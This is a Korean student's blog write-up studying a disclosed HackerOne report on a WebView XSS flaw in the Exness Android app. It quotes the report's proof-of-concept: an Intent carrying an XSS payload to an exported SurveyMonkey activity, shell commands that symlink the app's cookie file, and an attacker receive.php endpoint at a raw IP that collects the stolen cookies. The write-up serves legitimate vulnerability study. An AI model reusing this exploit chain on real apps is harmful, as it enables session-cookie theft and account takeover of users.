EYEN
안드로이드 CVE 스터디-XSS in Webview 본문
#1 대상 CVE
EXNESS disclosed on HackerOne: [com.exness.android.pa Android]...
hackerone.com
#2 CVE 개요
1. 발생 환경
Package: com.exness.android.pa
Name: Exness
Version: 1.7.5-real-release
2. 취약점 개념 설명
exported="true"인 액티비티에 Webview가 있고, URL과 HTML을 입력받으므로 앱 내에서 악의적인 url을 로드할 수 있습니다.
#3 버그바운티 절차
hackable target이라고 해서 실제로 비슷한 코드를 찾아 해보려고 했는데,.,., 보고서 내용과 비슷한 부분을 단 한 군데도 찾지 못했습니다. 취약점을 찾은 플로우를 보고 싶었는데 비슷한 내용을 다룬 부분도 없어서... 아쉽습니다.
보고서에서 pwn.apk 파일을 공개했으나, pwn.apk에서 이용한 exness내부 액티비티가 현재는 사라진 상태입니다.
1. exported activity
<activity android:name="com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity" android:screenOrientation="locked" android:windowSoftInputMode="adjustResize">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
</activity>
익숙한 부분입니다. intent-filter로 적용된 android.intent.action.MAIN입니다.
2. SMFeedbackActivity안에 intent 내의 2개의 extra string: smSPageHTML/ smSPageURL
아마 SurveyMonkeySurveyPage/URL 인 것 같습니다.
exness앱을 실행하면 나라와 아이디 비밀번호 이런걸 설정하라고 하는데 이전에는 거기서 이 서베이 URL을 쓴 듯합니다.
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
Intent intent = getIntent();
this.aKn = intent.getStringExtra("smSPageHTML");
this.aKq = intent.getStringExtra("smSPageURL");
if (this.aKn == null) {
this.aKr = chn.m7508a(C3298a.ERROR_CODE_COLLECTOR_CLOSED, null);
Log.d("SM_SDK_DEBUG", this.aKr.getDescription());
mo19074b(this.aKr);
} else if (bundle == null) {
getSupportFragmentManager().beginTransaction().add(16908290, chi.m12362c(this.aKq, this.aKn, true), chi.TAG).commit();
}
}
getStringExtra: Intent에 넣어 변수를 전달할 수 있는 함수
3. 이 두개의 string을 chi.m12362c로 넘긴다.
chi.m12362c
public static chi m12362c(String str, String str2, boolean z) {
chi chi = new chi();
Bundle bundle = new Bundle();
bundle.putString("smSPageURL", str);
bundle.putString("smSPageHTML", str2);
bundle.putBoolean("smHasLoadedSPageHTML", z);
chi.setArguments(bundle);
return chi;
}
chi
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.aKo = false;
this.aKp = false;
this.aKn = null;
Bundle arguments = getArguments();
if (arguments != null) {
this.aKq = arguments.getString("smSPageURL");
this.aKo = arguments.getBoolean("smHasLoadedSPageHTML");
if (this.aKo) {
this.aKn = arguments.getString("smSPageHTML");
m12353Gc(); // <-- pass to this function
return;
}
new C48221().execute(new String[]{this.aKq});
}
}
4. 이때 만들어진 intent가 실행될 것입니다.
public void m12353Gc() {
if (getView() != null) {
this.aKv = ProgressDialog.show(getActivity(), null, getString(C3294c.sm_loading_status));
this.aKp = true;
this.mWebView = (WebView) getView().findViewById(C3292a.sm_feedback_webview);
this.mWebView.getSettings().setJavaScriptEnabled(true);
this.mWebView.setWebViewClient(new C3296b(this, null));
this.mWebView.loadDataWithBaseURL(this.aKq, this.aKn, null, "UTF-8", null);
}
}
WebView 객체에서 sm_feedback_webview값을 가져와 webview에 저장하고, js활성화하고(web객체 볼 준비) setwebview(web 볼 준비) loadDataWithbaseURL(URL,HTML,null,UTF-8,null)
Intent steal = new Intent();
steal.setClassName("com.exness.android.pa", "com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity");
steal.putExtra("smSPageHTML", "<html><h1>Universal XSS</h1><script>var form = document.createElement(\"form\");\n" +
" var element1 = document.createElement(\"input\");\n" +
" form.method = \"POST\";\n" +
" form.action = \"https://trade.mql5.com\";\n" +
" element1.value=document.domain;;\n" +
" element1.name=\"text\";\n" +
" form.appendChild(element1);\n" +
" document.body.appendChild(form);\n" +
" form.submit();</script></html>");
steal.putExtra("smSPageURL", "https://trade.mql5.com/r/");
startActivity(steal);
이 자바 스크립트 코드는 어떤 링크에 접속할 수 있도록 공격자가 만든 xss페이지를 surveymonkey URL대신 실행시키는 xss공격코드입니다.
이렇게 하면 공격자가 만든 페이지에 접속할 수 있음을 확인했습니다.
실제 공격코드입니다.
pwn.apk:
그러니까 웹서비스인 surveymonkey와 연결해야하니까 저 URL을 실행해야했던 것이고, 그 액티비티는 exported된 상태여서 외부에서 접속이 가능하기 때문에 apk파일에서 해당 액티비티를 이용해 쉘 명령어를 실행하는 코드를 짤 수 있었던 겁니다.
또 이 과정에는 루트권한이 필요하지 않아서, 외부에서 쉘 명령어를 통해 쿠키파일을 다른 pwn.html을 가리키게 하였습니다.
try {
Runtime.getRuntime().exec("ln -s /data/data/com.exness.android.pa/app_webview/Cookies /data/data/pwn.pwn/pwn.html").waitFor(); // create symlink to Cookie file
Runtime.getRuntime().exec("chmod 777 -R /data/data/pwn.pwn/").waitFor(); //set access to everyone
} catch (Exception e) {
e.printStackTrace();
finish();
return;
}
new File("/data/data/pwn.pwn/pwn.html").setReadable(true, false);
ln -s 는 소프트링크를 설정하는 리눅스 쉘 명령어입니다. app_webview/Cookies 파일에 접근하려고 하면 pwn.html파일에 접근하게 됩니다.
원래는 버전이 바뀔 때마다 이름을 바꿔주는 대신 소프트링크를 설정해 다른 버전으로 쉽게 바꿀 수 있도록 한 것인데, 이렇게 악용할 수 있다고 합니다.
그러면 cookie에 접근하는 pwn.html을 url로 설정하고, URL안의 html은 현재 웹페이지의 HTML태그내 모든 데이터를 receive.php 파일로 보내는 코드이므로, 결국 쿠키값이 공격자에게 전달되는 것입니다.
사용자의 쿠키값이 receive.php 페이지를 통해 공격자에게 가게 되는 코드이다.
http://145.14.158.76/receive.php
+ apk파일 추출하는 법
.
#4 참고자료
Cross-site Scripting (XSS 개념과 원리) : 네이버 블로그 (naver.com)
Cross-site Scripting (XSS 개념과 원리)
장치나 인명의 안전을 위한 보안기(arrester) → arrester 피뢰기에 감동? 받으며 IT보안 공부하는 김주...
blog.naver.com
xss에 대해 정말 잘 설명되어있는 빛의 블로그입니다.
'자기주도학습 > CVE 공부' 카테고리의 다른 글
안드로이드 CVE 스터디-information Disclosure (0) | 2024.05.15 |
---|---|
안드로이드 CVE 스터디- improper Authentication (0) | 2024.05.15 |
안드로이드 CVE 스터디-Insecure storage of information (0) | 2024.05.13 |
cve 체험 따라하기 2 (0) | 2023.02.23 |
cve 체험하기 따라하기 (0) | 2023.02.23 |